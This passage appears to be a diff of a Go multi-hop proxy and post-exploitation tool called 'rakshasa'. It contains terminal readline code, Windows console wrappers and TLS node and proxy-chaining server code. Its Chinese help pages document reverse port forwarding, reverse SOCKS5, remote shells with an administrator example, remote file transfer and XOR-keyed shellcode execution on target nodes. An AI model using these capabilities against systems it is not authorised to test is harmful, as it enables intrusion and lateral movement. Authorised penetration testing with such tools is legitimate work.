func GetStdin() int {
return syscall.Stdin
}
// -----------------------------------------------------------------------------
var (
widthChange sync.Once
widthChangeCallback func()
)
func DefaultOnWidthChanged(f func()) {
widthChangeCallback = f
widthChange.Do(func() {
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for {
_, ok := <-ch
if !ok {
break
}
widthChangeCallback()
}
}()
})
}
+41
View File
@@ -0,0 +1,41 @@
// +build windows
package readline
import (
"io"
"syscall"
)
func SuspendMe() {
}
func GetStdin() int {
return int(syscall.Stdin)
}
func init() {
isWindows = true
}
// get width of the terminal
func GetScreenWidth() int {
info, _ := GetConsoleScreenBufferInfo()
if info == nil {
return -1
}
return int(info.dwSize.x)
}
// ClearScreen clears the console screen
func ClearScreen(_ io.Writer) error {
return SetConsoleCursorPosition(&_COORD{0, 0})
}
func DefaultIsTerminal() bool {
return true
}
func DefaultOnWidthChanged(func()) {
}
+176
View File
@@ -0,0 +1,176 @@
package readline
const (
VIM_NORMAL = iota
VIM_INSERT
VIM_VISUAL
)
type opVim struct {
cfg *Config
op *Operation
vimMode int
}
func newVimMode(op *Operation) *opVim {
ov := &opVim{
cfg: op.cfg,
op: op,
}
ov.SetVimMode(ov.cfg.VimMode)
return ov
}
func (o *opVim) SetVimMode(on bool) {
if o.cfg.VimMode && !on { // turn off
o.ExitVimMode()
}
o.cfg.VimMode = on
o.vimMode = VIM_INSERT
}
func (o *opVim) ExitVimMode() {
o.vimMode = VIM_INSERT
}
func (o *opVim) IsEnableVimMode() bool {
return o.cfg.VimMode
}
func (o *opVim) handleVimNormalMovement(r rune, readNext func() rune) (t rune, handled bool) {
rb := o.op.buf
handled = true
switch r {
case 'h':
t = CharBackward
case 'j':
t = CharNext
case 'k':
t = CharPrev
case 'l':
t = CharForward
case '0', '^':
rb.MoveToLineStart()
case '$':
rb.MoveToLineEnd()
case 'x':
rb.Delete()
if rb.IsCursorInEnd() {
rb.MoveBackward()
}
case 'r':
rb.Replace(readNext())
case 'd':
next := readNext()
switch next {
case 'd':
rb.Erase()
case 'w':
rb.DeleteWord()
case 'h':
rb.Backspace()
case 'l':
rb.Delete()
}
case 'p':
rb.Yank()
case 'b', 'B':
rb.MoveToPrevWord()
case 'w', 'W':
rb.MoveToNextWord()
case 'e', 'E':
rb.MoveToEndWord()
case 'f', 'F', 't', 'T':
next := readNext()
prevChar := r == 't' || r == 'T'
reverse := r == 'F' || r == 'T'
switch next {
case CharEsc:
default:
rb.MoveTo(next, prevChar, reverse)
}
default:
return r, false
}
return t, true
}
func (o *opVim) handleVimNormalEnterInsert(r rune, readNext func() rune) (t rune, handled bool) {
rb := o.op.buf
handled = true
switch r {
case 'i':
case 'I':
rb.MoveToLineStart()
case 'a':
rb.MoveForward()
case 'A':
rb.MoveToLineEnd()
case 's':
rb.Delete()
case 'S':
rb.Erase()
case 'c':
next := readNext()
switch next {
case 'c':
rb.Erase()
case 'w':
rb.DeleteWord()
case 'h':
rb.Backspace()
case 'l':
rb.Delete()
}
default:
return r, false
}
o.EnterVimInsertMode()
return
}
func (o *opVim) HandleVimNormal(r rune, readNext func() rune) (t rune) {
switch r {
case CharEnter, CharInterrupt:
o.ExitVimMode()
return r
}
if r, handled := o.handleVimNormalMovement(r, readNext); handled {
return r
}
if r, handled := o.handleVimNormalEnterInsert(r, readNext); handled {
return r
}
// invalid operation
o.op.t.Bell()
return 0
}
func (o *opVim) EnterVimInsertMode() {
o.vimMode = VIM_INSERT
}
func (o *opVim) ExitVimInsertMode() {
o.vimMode = VIM_NORMAL
}
func (o *opVim) HandleVim(r rune, readNext func() rune) rune {
if o.vimMode == VIM_NORMAL {
return o.HandleVimNormal(r, readNext)
}
if r == CharEsc {
o.ExitVimInsertMode()
return 0
}
switch o.vimMode {
case VIM_INSERT:
return r
case VIM_VISUAL:
}
return r
}
+152
View File
@@ -0,0 +1,152 @@
// +build windows
package readline
import (
"reflect"
"syscall"
"unsafe"
)
var (
kernel = NewKernel()
stdout = uintptr(syscall.Stdout)
stdin = uintptr(syscall.Stdin)
)
type Kernel struct {
SetConsoleCursorPosition,
SetConsoleTextAttribute,
FillConsoleOutputCharacterW,
FillConsoleOutputAttribute,
ReadConsoleInputW,
GetConsoleScreenBufferInfo,
GetConsoleCursorInfo,
GetStdHandle CallFunc
}
type short int16
type word uint16
type dword uint32
type wchar uint16
type _COORD struct {
x short
y short
}
func (c *_COORD) ptr() uintptr {
return uintptr(*(*int32)(unsafe.Pointer(c)))
}
const (
EVENT_KEY = 0x0001
EVENT_MOUSE = 0x0002
EVENT_WINDOW_BUFFER_SIZE = 0x0004
EVENT_MENU = 0x0008
EVENT_FOCUS = 0x0010
)
type _KEY_EVENT_RECORD struct {
bKeyDown int32
wRepeatCount word
wVirtualKeyCode word
wVirtualScanCode word
unicodeChar wchar
dwControlKeyState dword
}
// KEY_EVENT_RECORD KeyEvent;
// MOUSE_EVENT_RECORD MouseEvent;
// WINDOW_BUFFER_SIZE_RECORD WindowBufferSizeEvent;
// MENU_EVENT_RECORD MenuEvent;
// FOCUS_EVENT_RECORD FocusEvent;
type _INPUT_RECORD struct {
EventType word
Padding uint16
Event [16]byte
}
type _CONSOLE_SCREEN_BUFFER_INFO struct {
dwSize _COORD
dwCursorPosition _COORD
wAttributes word
srWindow _SMALL_RECT
dwMaximumWindowSize _COORD
}
type _SMALL_RECT struct {
left short
top short
right short
bottom short
}
type _CONSOLE_CURSOR_INFO struct {
dwSize dword
bVisible bool
}
type CallFunc func(u ...uintptr) error
func NewKernel() *Kernel {
k := &Kernel{}
kernel32 := syscall.NewLazyDLL("kernel32.dll")
v := reflect.ValueOf(k).Elem()
t := v.Type()
for i := 0; i < t.NumField(); i++ {
name := t.Field(i).Name
f := kernel32.NewProc(name)
v.Field(i).Set(reflect.ValueOf(k.Wrap(f)))
}
return k
}
func (k *Kernel) Wrap(p *syscall.LazyProc) CallFunc {
return func(args ...uintptr) error {
var r0 uintptr
var e1 syscall.Errno
size := uintptr(len(args))
if len(args) <= 3 {
buf := make([]uintptr, 3)
copy(buf, args)
r0, _, e1 = syscall.Syscall(p.Addr(), size,
buf[0], buf[1], buf[2])
} else {
buf := make([]uintptr, 6)
copy(buf, args)
r0, _, e1 = syscall.Syscall6(p.Addr(), size,
buf[0], buf[1], buf[2], buf[3], buf[4], buf[5],
)
}
if int(r0) == 0 {
if e1 != 0 {
return error(e1)
} else {
return syscall.EINVAL
}
}
return nil
}
}
func GetConsoleScreenBufferInfo() (*_CONSOLE_SCREEN_BUFFER_INFO, error) {
t := new(_CONSOLE_SCREEN_BUFFER_INFO)
err := kernel.GetConsoleScreenBufferInfo(
stdout,
uintptr(unsafe.Pointer(t)),
)
return t, err
}
func GetConsoleCursorInfo() (*_CONSOLE_CURSOR_INFO, error) {
t := new(_CONSOLE_CURSOR_INFO)
err := kernel.GetConsoleCursorInfo(stdout, uintptr(unsafe.Pointer(t)))
return t, err
}
func SetConsoleCursorPosition(c *_COORD) error {
return kernel.SetConsoleCursorPosition(stdout, c.ptr())
}
+33
View File
@@ -0,0 +1,33 @@
[主菜单](./shell.md)
### new-bind
从指定节点启动端口监听tcp请求,通过本节点连接到指定ip端口,反向代理
使用方法 new-bind ip:port,remote_ip:remote_port 目标节点
如 new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba
注意:与connect相反,从右往左连接,如上面例子,远程节点监听0.0.0.0:88,并将所有连接通过本节点发送到192.168.1.180:8808
### list
打印出当前bind连接情况
### close
关掉一个bind
使用方法,先使用list获得当前执行的bind的id,再执行 close id
```shell
rakshasa>bind
rakshasa\bind>new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba
bind 启动成功
rakshasa\bind>list
当前连接数量: 1
ID 1 本地端口 192.168.1.180:8808 远程端口 0.0.0.0:88 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba
rakshasa\bind>close 1
rakshasa\bind>
```
+43
View File
@@ -0,0 +1,43 @@
## 目录
- [connect](./connect.md): 端口代理,本节点监听端口,并通过出口节点连接到指定的ip端口.
- [bind](./bind.md): 反向代理,出口节点监听端口,通过本节点连接到ip端口.
- [socks5](./socks5.md): socks5代理,本节点启动socks5代理,通过出口节点连接目标.
- [remotesocks5](./remotesocks5.md): 反向socks5代理,目标节点启动socks5,并通过本节点连接目标.
- [http](./http.md): http代理,本节点启动http代理,通过出口节点连接目标.
- [remoteshell](./remoteshell.md): 远程shell.
- [shellcode](./shellcode.md): windows执行shellcode,linux未实现.
- [config](./config.md): 配置管理.
所有子功能目录下都可以执行下面三个方法
可以通过输入首字母+tab进行自动补全
### new
连接一个新的服务器,参数必须是ip:port
### print
打印出已连接的节点
### ping
尝试对节点发送ping,并输出收到pong一共需要的时间
使用方法,ping id/uuid/ip:port
```shell
rakshasa>new 192.168.1.137:8884
rakshasa>print
ID UUID HostName GOOS IP listenIP
-----------------------------------------------------------------------------------------------------------------------------
1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883
2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
rakshasa>ping 2
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
rakshasa>ping 44b5b521-719c-4e2b-b069-ad176d8d88ba
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
rakshasa>ping 192.168.1.137:8884
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
```
+79
View File
@@ -0,0 +1,79 @@
[主菜单](./shell.md)
## yaml文件例子,保存在启动目录下
```
dstnode:
- 192.168.1.180:8883
password: ""
port: 8883
listenip:
- 192.168.1.151
limit: false
filename: config.yaml
```
#### 如果有启动参数将会覆盖掉yaml配置,如-d会覆盖掉dstnode
- dstnode 目标服务器 对应启动参数:-d
- password 传输秘钥 对应启动参数:-password
- port 本节点监听端口 对应启动参数:-p
- listenip 本节点监听ip 其他节点断线后,将会尝试连接此ip与上述端口,通过使用-limit来关闭额外连接功能
- limit 为true时候,除了目标服务器不会进行额外连接。默认为false,节点断线后,将会自动尝试连接所有以连接过的节点ip port。
- filename 配置文件名字,控制台save时候保存
## shell使用说明
### save
修改的内容不会立刻写入文件,必须通过执行save之后才会保存到filename
### d
修改yaml的dstnode,使用方法 d 192.168.1.1:8883,192.168.1.2:8883
### password
修改yaml的password,使用方法 password "asdlkj" 解析双引号里面内容,结果不带双引号,参数可以不包含双引号,如果需要使用双引号请输入\\"
### port
修改yaml的port
### ip
修改yaml的listenip,可以配置多个ip,以,隔开
### limit
修改yaml的limit
### f
修改yaml的filename
```shell
rakshasa>config
rakshasa\config>help
Commands:
clear clear the screen
d 修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址
exit exit the program
f 修改配置文件名,使用方法 f config.yaml
help display help
info 打印当前配置
ip 修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开
limit 修改本节点Limit设置,使用方法 limit true
new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082
password 修改通讯密码,立即生效
ping ping 节点
port 修改监听端口,立即生效
print 列出所有节点
save 保存文件
rakshasa\config>
```
+32
View File
@@ -0,0 +1,32 @@
[主菜单](./shell.md)
### new-connect
从本机监听一个tcp端口,将请求转发到 目标节点连接到指定ip:port,正向tcp代理
使用方法 new-connect ip:port,remote_ip:remote_port 目标节点
如 new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba
注:连接方向从左往右,如上例子,从本节点监听0.0.0.0:88,并将连接请求通过目标节点发送到192.168.1.180:8808
### list
打印出当前connect连接情况
### close
关掉一个connect
使用方法,先使用list获得当前执行的connect的id,再执行 close id
```shell
rakshasa>connect
rakshasa\connect>new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba
connect连接 44b5b521-719c-4e2b-b069-ad176d8d88ba 成功
rakshasa\connect>list
当前连接数量: 1
ID 2 本地端口 0.0.0.0:88 远程端口 192.168.1.180:8808 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba
rakshasa\connect>close 2
```
+31
View File
@@ -0,0 +1,31 @@
[主菜单](./shell.md)
### new-httpproxy
新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件路径,如果远程节点为空,则为本地直接连
new-httpproxy admin:123456@0.0.0.0:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt
new-httpproxy 8080 out.txt
### list
打印出当前http监听情况
### close
关掉一个http监听
使用方法,先使用list获得当前执行的http的id,再执行 close id
```shell
rakshasa>httpproxy
rakshasa\httpproxy>new-httpproxy 8080
httpproxy start :8080
本地httpProxy启动成功
rakshasa\httpproxy>list
当前连接数量: 1
ID 1 本地端口 :8080 转发服务器uuid 6268846f-f93e-4525-ad5c-ed6b3b773478
rakshasa\httpproxy>close 1
rakshasa\httpproxy>
```
+56
View File
@@ -0,0 +1,56 @@
[主菜单](./shell.md)
### file
使用方法file 节点,如file 1,进入节点后可用cd,dir,upload,download命令
- cd 切换远程工作目录
- dir 列出当前目录下文件和文件夹信息
- upload 上传文件,两个参数,参数二可为空,用法:upload 本地文件目录 远程目录(为空传到工作目录)
- download 下载文件,两个参数,参数二可为空,用法:download 远程文件 本地目录(为空本地执行目录)
```shell
rakshasa>remoteshell
rakshasa\remoteshell>file
参数错误
rakshasa\remoteshell>print
ID UUID HostName GOOS IP listenIP
-----------------------------------------------------------------------------------------------------------------------------
1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883
2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
rakshasa\remoteShell>file 2
4b5b521-719c-4e2b-b069-ad176d8d88ba d:/>help
Commands:
cd 切换工作目录
clear clear the screen
dir 打印当前目录文件
download 下载文件 download 远程文件 本地目录(为空本地执行目录)
exit exit the program
help display help
upload 上传文件 ,upload 本地文件 远程目录(为空传到工作目录)
44b5b521-719c-4e2b-b069-ad176d8d88ba d:/>
```
### shell
使用方法shell 节点 启动参数,如shell 1 powershell。启动参数可为空
windows下默认启动cmd
linux下默认启动bash,如启动失败可尝试改为/bin/sh或者/bin/zsh等
```shell
rakshasa\remoteshell>shell 2 powershell
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。
尝试新的跨平台 PowerShell https://aka.ms/pscore6
PS D:\> whoami
desktop-daai4f1\administrator
PS D:\> exit
请按回车键退出
rakshasa\remoteshell>
```
+38
View File
@@ -0,0 +1,38 @@
[主菜单](./shell.md)
### new-remotesocks5
远程节点启动socks5代理,通过本节点连接到指定目标
使用方法 new-remotesocks5 port 目标节点
如 new-remotesocks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
注:与socks5相反,是远程目标节点开启socks5,通过本节点转发输出
### list
打印出当前remoteSocks5连接情况
### close
关掉一个remoteSocks5
使用方法,先使用list获得当前执行的remoteSocks5的id,再执行 close id
```shell
rakshasa>remotesocks5
rakshasa\remotesocks5>print
ID UUID HostName GOOS IP listenIP
-----------------------------------------------------------------------------------------------------------------------------
1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883
2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
rakshasa\remotesocks5>new-remotesocks5 1080 2
节点 2 配置信息, 1080 ,启动socks5 到 本节点 成功
rakshasa\remotesocks5>list
当前连接数量: 1
ID 1 本地端口 远程端口 :1080 服务器uuid e309f028-84ae-4452-88ab-83f1deab0cf4
rakshasa\remotesocks5>close 1
rakshasa\remotesocks5>
```
+4
View File
@@ -0,0 +1,4 @@
[主菜单](./shell.md)
### run
运行shellcode,参数一为目标节点(可以为本机),参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为shellcode运行等待时间
+34
View File
@@ -0,0 +1,34 @@
[主菜单](./shell.md)
### new-socks5
以本地socks5代理服务端模式运行,通过远程节点转发代理连接到指定目标,如果远程节点为空,则为本地直接连
使用方法 new-socks5 port 目标节点
如 new-socks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
### list
打印出当前socks5连接情况
### close
关掉一个socks5
使用方法,先使用list获得当前执行的socks5的id,再执行 close id
```shell
rakshasa>socks5
rakshasa\socks5>print
ID UUID HostName GOOS IP listenIP
-----------------------------------------------------------------------------------------------------------------------------
1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883
2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
rakshasa\socks5>new-socks5 2
socks5 start :2
本地socks5启动成功
rakshasa\socks5>list
当前监听端口数量: 1
ID 2 本地监听端口 :2 转发服务器uuid c105b8d2-77c7-462d-b0da-6d9785f77234
rakshasa\socks5>close 2
rakshasa\socks5>
```
+111
View File
@@ -0,0 +1,111 @@
package server
import (
"rakshasa/common"
"strings"
"time"
"github.com/luyu6056/ishell"
)
var rootCli = cliInit()
func CliRun() {
rootCli.Run()
}
func init() {
rootCli.SetPrompt("rakshasa>")
}
func cliInit() *ishell.Shell {
shell := ishell.New()
shell.AddCmd(&ishell.Cmd{
Name: "ping",
Help: "ping 节点",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 ping 服务器地址")
return
}
var err error
n, err := getNode(c.Args[0])
if err != nil {
c.Println("无法连接节点", c.Args[0])
return
}
be := time.Now()
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
go n.ping(id)
select {
case <-resChan:
n.deleteQuery(id)
c.Println("ping", n.uuid, time.Since(be))
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("ping time out")
}
},
})
shell.AddCmd(&ishell.Cmd{
Name: "new",
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,使用方法 connect ip:端口")
return
}
for _, addr := range strings.Split(c.Args[0], ",") {
_, err := connectNew(addr)
if err != nil {
c.Println("连接", addr, "失败", err)
return
}
}
},
})
shell.AddCmd(&ishell.Cmd{
Name: "print",
Help: "列出所有节点",
Func: func(c *ishell.Context) {
printNodes(c)
},
})
if common.Debug {
shell.AddCmd(&ishell.Cmd{
Name: "printConn",
Help: "列出所有链接",
Func: func(c *ishell.Context) {
printConn()
},
})
shell.AddCmd(&ishell.Cmd{
Name: "printLock",
Help: "列出所有锁",
Func: func(c *ishell.Context) {
printLock()
},
})
shell.AddCmd(&ishell.Cmd{
Name: "delete",
Help: "sync.Map删除一个node ID",
Func: func(c *ishell.Context) {
l := clientLock.Lock()
defer l.Unlock()
if len(c.Args) != 1 {
c.Println("参数不对")
return
}
n, ok := nodeMap[c.Args[0]]
if ok {
n.Delete("")
}
},
})
}
return shell
}
+42
View File
@@ -0,0 +1,42 @@
package server
import (
"gopkg.in/yaml.v3"
"io/ioutil"
"rakshasa/common"
)
var currentConfig common.Config
func SetConfig(config common.Config) {
currentConfig = config
currentConfig.FileSave = false
currentNode.mainIp = currentConfig.ListenIp
currentNode.port = currentConfig.Port
}
func ConfigSave() error {
b, _ := yaml.Marshal(currentConfig)
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
if err == nil {
currentConfig.FileSave = true
}
return err
}
func ConfigLoad(filename string) error {
b, err := ioutil.ReadFile(filename)
if err == nil {
var config common.Config
err = yaml.Unmarshal(b, &config)
if err == nil {
currentConfig = config
currentConfig.FileSave = true
}
}
return err
}
func GetConfig() common.Config {
return currentConfig
}
+743
View File
@@ -0,0 +1,743 @@
package server
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"hash/crc32"
"io"
"net"
"net/url"
"os"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
var (
bufPool = &sync.Pool{
New: func() interface{} {
return &bytes.Buffer{}
},
}
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
)
// 节点的连接,包含listen来的和主动connect的
type Conn struct {
closeTag int32
node *node
nodeaddr string
//key string
remoteAddr string
inChan chan func()
OutChan chan []byte
close chan string
isClient bool
nodeConn *tls.Conn
regResult chan error
regResultNode chan *node
}
type serverListen struct {
close int32
node *node
listen net.Listener
isSocks5 bool
socks5Replay []byte
replayid uint32
id uint32
connMap sync.Map
}
type serverConnect struct {
close int32
id uint32
windowsSize int64
conn net.Conn
node *node
address string
write chan *bytes.Buffer
wait chan int
closeReason string
}
// 中转与最终出口
func StartServer(port int) error {
config := cert.Tlsconfig.Clone()
fmt.Println("start on port:", port)
l, err := tls.Listen("tcp", ":"+strconv.Itoa(port), config)
if err != nil {
return fmt.Errorf("server start fail %v", err)
}
currentNode.listen = l
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
//封装一个符合common.server接口的server
c := &Conn{
nodeConn: conn.(*tls.Conn),
remoteAddr: conn.RemoteAddr().String(),
}
connMap.Store(c.remoteAddr, conn)
go c.handlerNodeRead()
go c.handle()
}
}()
return nil
}
func init() {
go func() {
for b := range closeChan {
b.Reset()
bufPool.Put(b)
}
}()
}
func (conn *serverConnect) Close(reason string) {
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
go func() {
if conn.conn != nil {
conn.conn.Close()
}
//fmt.Println(conn.fd, reason)
conn.node.connMap.Delete(conn.id)
conn.closeReason = reason
conn.node.listenMap.Range(func(key, value interface{}) bool {
value.(*serverListen).connMap.Delete(conn.id)
return true
})
if reason != remoteClose {
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
}
select {
case conn.wait <- common.CONN_STATUS_CLOSE:
case <-time.After(time.Second * 10):
}
conn.write <- nil
conn.write = closeChan
}()
}
}
func (c *Conn) Close(reason string) {
c.close <- reason
}
func (conn *serverConnect) handTcpReceive() {
go func() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
if _, err := conn.conn.Write(b.Bytes()); err != nil {
conn.Close(err.Error())
}
b.Reset()
bufPool.Put(b)
}
}()
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
data := make([]byte, n)
copy(data, buf)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), n)
}
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
select {
case flag := <-conn.wait:
if flag == common.CONN_STATUS_CLOSE {
return
}
case <-time.After(time.Second):
}
}
}
}
func (conn *serverConnect) Write(data []byte) {
data = data[1:]
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
if windows_update_size != 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(data[8:]), len(data[8:]))
}
b := bufPool.Get().(*bytes.Buffer)
b.Reset()
b.Write(data[8:])
conn.write <- b
}
func (conn *serverConnect) handUdpReceive() {
var err error
var n int
defer func() {
if err != nil {
conn.Close(conn.address + " 网站读取出错" + err.Error())
} else {
conn.Close(conn.address + " read异常关闭")
}
}()
buf := make([]byte, common.MAX_PLAINTEXT)
for conn.close == 0 {
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err = conn.conn.Read(buf)
if err != nil {
if atomic.LoadInt32(&conn.close) == 0 {
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
return
}
continue
} else {
return
}
}
b := make([]byte, n)
copy(b, buf)
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
}
}
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
if err != nil {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
conn.Close("fd拨号失败")
return
} else {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 1
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
}
}
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
writeResult := func(res bool) {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
if res {
buf[1] = 1
}
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
}
if i := strings.IndexByte(addr, 32); i > -1 {
cfg, err := common.ParseAddr(addr[i+1:])
if err != nil {
writeResult(false)
conn.Close("地址解析失败")
return
}
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
if err != nil {
writeResult(false)
conn.Close("fd拨号失败")
return
} else {
netconn.SetDeadline(time.Now().Add(time.Second * 30))
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
switch cfg.Scheam() {
case "", "http://":
//请求代理
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
if cfg.GetHttpAuthorizationHeader() != "" {
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
} else {
data += "\r\n"
}
_, err = netconn.Write([]byte(data))
if err != nil {
writeResult(false)
conn.Close("http代理发送消息失败")
return
}
var resdata []byte
var result [8192]byte
var req = &http1request{}
for {
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取http代理结果失败")
return
}
resdata = append(resdata, result[:n]...)
l, _, err := parsereq(req, resdata)
if err != nil {
return
} else if l > 0 {
break
}
}
if req.Status == "200 Connection established" {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("http代理连接失败")
}
writeResult(true)
case "socks5://":
_, err = netconn.Write([]byte{5, 1, 2})
if err != nil {
writeResult(false)
conn.Close("socks5代理发送消息失败")
return
}
var result [8192]byte
n, err := netconn.Read(result[:])
if err != nil {
writeResult(false)
conn.Close("读取socks5数据出错")
return
}
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
user, password := cfg.User(), cfg.Password()
if user == "" && password == "" {
writeResult(false)
conn.Close("socks5需要验证")
return
}
data := make([]byte, (3 + len(user) + len(password)))
data[0] = 5
data[1] = byte(len(user))
copy(data[2:], user)
data[2+len(user)] = byte(len(password))
copy(data[3+len(user):], password)
netconn.Write(data)
n, err = netconn.Read(result[:])
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
writeResult(false)
conn.Close("密码校验不通过")
return
}
}
data := []byte{5, 1, 0, 1}
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
data[3] = 3
data = append(data, byte(len(u.Scheme)))
data = append(data, u.Scheme...)
p, _ := strconv.Atoi(u.Opaque)
port := []byte{byte(p >> 8), byte(p)}
data = append(data, port...)
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
data[3] = 1
data = append(data, tcp4.IP.String()...)
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
data = append(data, port...)
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
data[3] = 4
data = append(data, tcp6.IP.String()...)
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
data = append(data, port...)
}
netconn.Write(data)
n, _ = netconn.Read(result[:])
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("socks5连接失败")
}
default:
writeResult(false)
conn.Close("不支持的代理协议")
}
}
} else {
writeResult(false)
conn.Close("无法获取代理地址")
}
}
func (conn *serverConnect) doHandleUdp() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
conn.conn.Write(b.Bytes())
b.Reset()
bufPool.Put(b)
}
}
var broadcastMap sync.Map //广播帧防止重复处理
func (c *Conn) handlerNodeRead() {
var err error
defer func() {
c.nodeConn.Close()
c.Close("read错误" + err.Error())
}()
lengbuf := make([]byte, 2)
for {
_, err = io.ReadFull(c.nodeConn, lengbuf)
if err != nil {
if strings.Contains(err.Error(), "i/o timeout") {
continue
}
return
}
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
_, err = io.ReadFull(c.nodeConn, buf)
b := aes.AesCtrDecrypt(buf)
msg := common.UnmarshalMsg(b)
if common.Debug {
